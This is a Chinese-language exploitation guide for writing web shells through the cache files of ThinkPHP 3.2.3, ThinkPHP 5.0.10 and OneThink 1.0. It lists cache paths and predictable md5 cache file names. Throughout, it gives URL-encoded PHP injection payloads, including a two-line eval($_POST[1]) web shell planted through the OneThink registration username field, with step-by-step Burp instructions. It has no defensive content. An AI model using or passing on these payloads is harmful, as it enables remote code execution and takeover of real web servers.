0x00 簡介
漏洞簡述就不多說,這里將分別介紹tp3.2.3、tp5.0.10和onethink緩存寫入getshell。
tp3.2.3:
緩存文件路徑:/Application/Runtime/Temp
可能緩存文件名:b068931cc450442b63f5b3d276ea4297.php
onethink1.0:
thinkphp3開發 緩存文件路徑:/Runtime/Temp/ 默認緩存文件名:2bb202459c30a1628513f40ab22fa01a.php 緩存名基本不變
tp5.0.10:
緩存文件路徑:/runtime/cache
可能規則命名的md5值:b068931cc450442b63f5b3d276ea4297
那么緩存文件名為:/runtime/cache/b0/68931cc450442b63f5b3d276ea4297.php
寫入的php語句開頭需要換行,結尾需要注釋掉后面的垃圾數據:
換行利用url編碼:%0d%0a或者%0a 注釋用 // 例如寫入phpinfo(); 那么應該為:%0d%0aphpinfo();//
0x01 利用條件
- 開啟緩存功能;
- 能夠猜解出緩存文件名(文件名生成有一定規律)
- 緩存內容可控或部分可控,即找到寫入的位置(一般與數據庫交互的地方)
緩存文件名可由泄露的源碼已知,或者可猜測,規律為使用常見的名詞,如user、news、goods、article,然后對這些名稱md5編碼。
例如:一個論壇類網站
1.發帖處可與數據庫交互,即可在這兒寫入php內容到緩存文件;
2.那么發帖處的url為:http://xxx/index/article/showarticle/articleld/52,猜測緩存名詞為article_52
對名詞進行md5,echo(md5("article_52")); 輸出md5值 12a51218427a2df68e54e8f4c8b10109 ;
那么如果是tp3,緩存名則為12a51218427a2df68e54e8f4c8b10109 .php,如tp5,則是/12/a51218427a2df68e54e8f4c8b10109.php
0x02 thinkphp3.2.3緩存寫shell關鍵
1.找到與數據庫交互的地方,一般是提交post數據的地方,寫入php語句,例如:
%0d%0aphpinfo();//
2.訪問查看post數據提交過后的記錄來觸發數據緩存。
3.訪問緩存文件。
0x03 onethink1.0緩存寫shell
注意:換行利用%0d%0a,如遇長度限制可去掉%0d嘗試。
構造的php語句不能直接在頁面表單寫入提交,需要在burp里面進行操作
onethink1.0緩存寫shell漏洞是固定的,在注冊用戶的地方,且進行登錄觸發緩存數據。
先注冊,再登錄成功才能寫入 寫兩條語句: %0a$a=$_POST[1];// %0d%0aeval($a);//
1.注冊寫入php語句到緩存文件:
抓包,在注冊包post數據里面的username變量寫入%0a$a=$_POST[1];//,然后其他信息正常添好提交注冊;
2.登錄成功來觸發數據緩存:
登錄頁面抓包,username處填入%0a$a=$_POST[1];//,然后正常填寫剛剛注冊的密碼,成功登錄代表第一條語句寫入成功;
3.第二條語句再次進行上面兩步操作;
4.訪問緩存文件。
0x04 tp5.0.10緩存寫shell
1.找到數據交互的地方,burp抓包修改post數據,寫入php語句,例如:
2.訪問觸發緩存數據,例如這里訪問cache方法:
3.訪問緩存文件。
總結:
其實thinkphp緩存寫shell的漏洞的利用主要分三個步驟:數據交互寫入惡意php語句,觸發緩存數據,訪問緩存文件。